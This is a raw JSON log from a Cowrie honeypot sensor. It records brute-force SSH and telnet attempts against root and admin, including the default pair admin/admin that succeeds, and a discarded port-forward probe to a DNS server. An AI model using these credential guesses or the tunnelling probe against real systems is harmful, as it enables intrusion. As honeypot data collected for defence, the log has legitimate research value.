{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:22:1b:fe:a8:f4:a7:23:e6:33:76:95:82:91:98:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2q/NGN/brzNfJiIp2zswtL33tr74pIAjMeWtXN1p5Hqp5fTp058U1EN4NmgmjX0KzNjjV+ZTCUxJSCa26E7wrI99Dcd3fjbPcSL+nWPv4ysYSWIur9V0j1AlleeTVH2jJPAUaRxY0ZKcChsg0MMmLStRgA8oafWEvYzBkrl/K9tR3mb7ranu6Nsh1cBQ127sykePMQrZeOU0Zhqd0Kruyt9vjVD6DeehZpZLS7P3QzdWNJ9cm4TYKT2eyj6TZoFhQjaqLj0sjIbr0Kml9+SyDRjCqpjCSVCM9cvSLsNui+58Bcsus46pffDskhY7Sl/ctwBK4bDkkUy4P2AmEfIUz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.275645Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9b:f3:c0:3b:55:01:e7:d0:5d:96:26:07:50:14:18:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXM+YDOO7yyCB7rd+HtJcHF4EQ5x9WYbdlRR/5aOaRJGbbnC0tQFgjlSAtkvt3ceURlJ/4xis+y/X0r3WQqz/xHcOMIByrBsgLK7V8Qc8L6yPogCX5peGswNnKGCJQU/uznbodPMyQcxfGZrS+mkunek5PcZt9xDVV7ZDzX8sedN+o6kdZkCk24PwFIFEA49h3k9wADeQkA5U9lfcjgUoa/Flfesn5yE5avxNHcNWeGXnEnghLYL42zQaAuP2z8seP77aDqEKx8AuO4z7MiX7AD4jMfdcRgA2hijNZeKstrqcHmqSnGSCKyynVnzBMLf9OT8HRnJVzOtIE7GO25Ib5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9b:f3:c0:3b:55:01:e7:d0:5d:96:26:07:50:14:18:58","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.369337Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9b:f3:c0:3b:55:01:e7:d0:5d:96:26:07:50:14:18:58","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXM+YDOO7yyCB7rd+HtJcHF4EQ5x9WYbdlRR/5aOaRJGbbnC0tQFgjlSAtkvt3ceURlJ/4xis+y/X0r3WQqz/xHcOMIByrBsgLK7V8Qc8L6yPogCX5peGswNnKGCJQU/uznbodPMyQcxfGZrS+mkunek5PcZt9xDVV7ZDzX8sedN+o6kdZkCk24PwFIFEA49h3k9wADeQkA5U9lfcjgUoa/Flfesn5yE5avxNHcNWeGXnEnghLYL42zQaAuP2z8seP77aDqEKx8AuO4z7MiX7AD4jMfdcRgA2hijNZeKstrqcHmqSnGSCKyynVnzBMLf9OT8HRnJVzOtIE7GO25Ib5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.373198Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:12.401502Z","src_ip":"184.154.107.230","session":"7bf19508525c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46614,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd5269594cd0","protocol":"telnet","message":"New connection: 152.42.224.71:46614 (10.17.0.5:23) [session: bd5269594cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:23.672957Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":34922,"dst_ip":"159.203.135.109","dst_port":22,"session":"2724adc5f097","protocol":"ssh","message":"New connection: 103.122.221.179:34922 (159.203.135.109:22) [session: 2724adc5f097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:56.998977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:57.002628Z","src_ip":"103.122.221.179","session":"2724adc5f097","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:57.260900Z","src_ip":"103.122.221.179","session":"2724adc5f097","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vanessa","message":"login attempt [root/vanessa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:58.036556Z","src_ip":"103.122.221.179","session":"2724adc5f097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:36:59.297406Z","src_ip":"103.122.221.179","session":"2724adc5f097","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01418662071228,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:12.691808Z","src_ip":"152.42.224.71","session":"63580b9eceee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.120.94.133","src_port":39434,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac2c8288a009","protocol":"ssh","message":"New connection: 64.120.94.133:39434 (10.17.0.5:22) [session: ac2c8288a009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:35.717432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:35.721845Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:36.019790Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:5b:bc:81:4f:4b:9f:59:4b:91:82:e6:2f:4f:9f:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChbVgpP5u3w/GePNb85+ozKPfQ8FQB6EwKLHDo9hiCbHTfKyhKv5e0cdpmB39MVHJl/KQx8IDBggW2qjAmduNNEjsyr5ZL4S+jstDKnYmN8vheEadeYQvgUsN+flWkfQ2ho7vJ39A04S7fcwQD4N/BxEaEhySTFDRTmMwrf6UGba/LRKzccM7Lh4NCmqP+cxSdKGPFNzlz6T6OOLvb2ucXQcprnRCWmSSQSAAdI+lYPwoorc1o5e/RMFusI9rNzEW0Zmpykkkzle1MjGPPkhS7nCDHpk6OiVB1sHUMswGFDvacDhMl4hBDxy6Uh0v2mnTGIMg3cQumWHqwdHo89jl8DTmWqW0JeoGi600omvQXJ1xmbUOIfIK7e9f3GAOHY/neA1y00pNEqkYhZZ9IOSEgLTwaQTnWECGEUCaoLwK+syAWLalskrNUA7UBZ969b19IpJRjoWlF/k9FD/wg/PzwkG+3oJER819J7i/yMDZVIEr03CsQ7wmd97FA0pKvdYiFLbfGhs3dBVVdxHX4nvm2K7nV19OcerfrDSeOpqp15Cuz1BzLRObzFvNDQFZdoTNeGfaut6MXSMGH61Cf70JXhgzgSzmpWwF6Kk0+LT5vuQzjFgRmIBWUcS8/+g5WJjRPRFYOoToEE/1NAN/VtTm74kvRG9upp7MrsX6LlfRcRQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:5b:bc:81:4f:4b:9f:59:4b:91:82:e6:2f:4f:9f:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:37.486073Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:5b:bc:81:4f:4b:9f:59:4b:91:82:e6:2f:4f:9f:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQChbVgpP5u3w/GePNb85+ozKPfQ8FQB6EwKLHDo9hiCbHTfKyhKv5e0cdpmB39MVHJl/KQx8IDBggW2qjAmduNNEjsyr5ZL4S+jstDKnYmN8vheEadeYQvgUsN+flWkfQ2ho7vJ39A04S7fcwQD4N/BxEaEhySTFDRTmMwrf6UGba/LRKzccM7Lh4NCmqP+cxSdKGPFNzlz6T6OOLvb2ucXQcprnRCWmSSQSAAdI+lYPwoorc1o5e/RMFusI9rNzEW0Zmpykkkzle1MjGPPkhS7nCDHpk6OiVB1sHUMswGFDvacDhMl4hBDxy6Uh0v2mnTGIMg3cQumWHqwdHo89jl8DTmWqW0JeoGi600omvQXJ1xmbUOIfIK7e9f3GAOHY/neA1y00pNEqkYhZZ9IOSEgLTwaQTnWECGEUCaoLwK+syAWLalskrNUA7UBZ969b19IpJRjoWlF/k9FD/wg/PzwkG+3oJER819J7i/yMDZVIEr03CsQ7wmd97FA0pKvdYiFLbfGhs3dBVVdxHX4nvm2K7nV19OcerfrDSeOpqp15Cuz1BzLRObzFvNDQFZdoTNeGfaut6MXSMGH61Cf70JXhgzgSzmpWwF6Kk0+LT5vuQzjFgRmIBWUcS8/+g5WJjRPRFYOoToEE/1NAN/VtTm74kvRG9upp7MrsX6LlfRcRQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:37.489455Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:b1:42:a6:2a:ec:2e:2e:e0:a5:69:b3:75:45:eb:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp3sNLwGbZj5PFP5xN0MSG+/oTSbVW6kmwWSgU5B4NlhIjOkhlvTU5P8cdo115/uD78anEm5Di0K97aZ1+cpkb7UpCQoywv4t0iC58fvaYLxypWpqpE3FWAEkfMD/36LULohz+BgtDf2S2K5L13g/7RGp01vr+FKjjNIbJg4PKZErWQmrD2xl/Yiju1Eb8mLkgsJAPRPFA1GUk3UOziP/CKeiJlyxXTzN93HZtitE3XURekRmpYl0XwGMkp+CQ57kP6FM+JfVUpfzktnxHwb2S6iAM5Fdy6woOrXObAceOu08fsRsyoHZQVO/r0zr9le3b87WCeT4oSBfqYsn3LMBL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:b1:42:a6:2a:ec:2e:2e:e0:a5:69:b3:75:45:eb:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:37.787925Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:b1:42:a6:2a:ec:2e:2e:e0:a5:69:b3:75:45:eb:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCp3sNLwGbZj5PFP5xN0MSG+/oTSbVW6kmwWSgU5B4NlhIjOkhlvTU5P8cdo115/uD78anEm5Di0K97aZ1+cpkb7UpCQoywv4t0iC58fvaYLxypWpqpE3FWAEkfMD/36LULohz+BgtDf2S2K5L13g/7RGp01vr+FKjjNIbJg4PKZErWQmrD2xl/Yiju1Eb8mLkgsJAPRPFA1GUk3UOziP/CKeiJlyxXTzN93HZtitE3XURekRmpYl0XwGMkp+CQ57kP6FM+JfVUpfzktnxHwb2S6iAM5Fdy6woOrXObAceOu08fsRsyoHZQVO/r0zr9le3b87WCeT4oSBfqYsn3LMBL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:37.792294Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:af:62:ca:cb:01:31:cb:c1:61:de:45:8c:85:ef:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX3xRie5f2V+n2b3vQgH/G4cjEV1GB5jxFqHC52X5T6kSOy6+M5CxYNdjVdvtpOZbfRjf6LPF0x1OCygwVbbV3yFoRv8Q707g57TpH9MSjNttlPcXT1lrfkKk9IprQTHSKkALkyYMVSASMpnalMHccsNpxQ+vJ77nYWDj6SGarxZkCjHVUGCsGu7WezGt33B8td71B2AcihWuZHG6ip/uTa+Z9/ikpmVtHBxuxbQ/cW9C+uOlXSW7MVGfm7dIvRJdOnk7chJvNgSYxVVhQ5XszUVbQ5sytcoT0LGnamgMx0ec/+qd2qChiekIGeADg5BZ0AMZ253maxiTs3Ek/ucbh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:af:62:ca:cb:01:31:cb:c1:61:de:45:8c:85:ef:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:38.091281Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:af:62:ca:cb:01:31:cb:c1:61:de:45:8c:85:ef:a4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDX3xRie5f2V+n2b3vQgH/G4cjEV1GB5jxFqHC52X5T6kSOy6+M5CxYNdjVdvtpOZbfRjf6LPF0x1OCygwVbbV3yFoRv8Q707g57TpH9MSjNttlPcXT1lrfkKk9IprQTHSKkALkyYMVSASMpnalMHccsNpxQ+vJ77nYWDj6SGarxZkCjHVUGCsGu7WezGt33B8td71B2AcihWuZHG6ip/uTa+Z9/ikpmVtHBxuxbQ/cW9C+uOlXSW7MVGfm7dIvRJdOnk7chJvNgSYxVVhQ5XszUVbQ5sytcoT0LGnamgMx0ec/+qd2qChiekIGeADg5BZ0AMZ253maxiTs3Ek/ucbh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:38.095361Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:e7:c3:c3:f3:6e:d2:dd:da:5e:45:1e:7e:cd:7d:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDETmN6oSoyLVJ0qIOl8sdO9w+wtNJJdymWo49C0QH4wvrsUQIZdNqzXOweyTorCli4zRoXli2t+rBATQlNm+56JonKTEdpGwbxfotZvaw9pb2Equx9qg2ug9Vroe6THmBBxx6gJGtoDcvOg06vtwWnSLNbWme2o8bxw61Tj9kHMef3ekThfgDxmuP0c5kLwDAl3ChRumka5zMy5tdttNc+6JuAdNlfkmWgXXw+UDncV38lhyi6vQn5Ygg1LhYxN/f2aeGZ+G71FW9jzJ/UjiwcAKlEUofzW100p/MDawTgfZAtASe/Xo6lTw4j8a9V2KX3VCflD062p5KuQwQTTszD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:e7:c3:c3:f3:6e:d2:dd:da:5e:45:1e:7e:cd:7d:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:38.393678Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:e7:c3:c3:f3:6e:d2:dd:da:5e:45:1e:7e:cd:7d:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDETmN6oSoyLVJ0qIOl8sdO9w+wtNJJdymWo49C0QH4wvrsUQIZdNqzXOweyTorCli4zRoXli2t+rBATQlNm+56JonKTEdpGwbxfotZvaw9pb2Equx9qg2ug9Vroe6THmBBxx6gJGtoDcvOg06vtwWnSLNbWme2o8bxw61Tj9kHMef3ekThfgDxmuP0c5kLwDAl3ChRumka5zMy5tdttNc+6JuAdNlfkmWgXXw+UDncV38lhyi6vQn5Ygg1LhYxN/f2aeGZ+G71FW9jzJ/UjiwcAKlEUofzW100p/MDawTgfZAtASe/Xo6lTw4j8a9V2KX3VCflD062p5KuQwQTTszD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:38.397259Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:38.696816Z","src_ip":"64.120.94.133","session":"ac2c8288a009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53488,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f8e6ce20750","protocol":"telnet","message":"New connection: 152.42.224.71:53488 (10.17.0.5:23) [session: 5f8e6ce20750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:37:48.030267Z"}
{"eventid":"cowrie.session.closed","duration":33.815837144851685,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:38:21.845982Z","src_ip":"152.42.224.71","session":"5f8e6ce20750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00250244140625,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:38:23.675321Z","src_ip":"152.42.224.71","session":"bd5269594cd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.208.10.94","src_port":40820,"dst_ip":"10.17.0.5","dst_port":23,"session":"38b59f2da5b7","protocol":"telnet","message":"New connection: 8.208.10.94:40820 (10.17.0.5:23) [session: 38b59f2da5b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:38:57.625832Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":34022,"dst_ip":"10.17.0.5","dst_port":22,"session":"f595a8b316cc","protocol":"ssh","message":"New connection: 87.251.64.176:34022 (10.17.0.5:22) [session: f595a8b316cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:01.523368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:01.528271Z","src_ip":"87.251.64.176","session":"f595a8b316cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:01.628550Z","src_ip":"87.251.64.176","session":"f595a8b316cc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:01.929255Z","src_ip":"87.251.64.176","session":"f595a8b316cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:02.032455Z","session":"f595a8b316cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:02.150807Z","src_ip":"87.251.64.176","session":"f595a8b316cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:02.261860Z","src_ip":"87.251.64.176","session":"f595a8b316cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.082838773727417,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:07.708559Z","src_ip":"8.208.10.94","session":"38b59f2da5b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":43824,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6ce91254a81","protocol":"ssh","message":"New connection: 103.98.149.87:43824 (10.17.0.5:22) [session: e6ce91254a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T19:39:15.461174Z"}
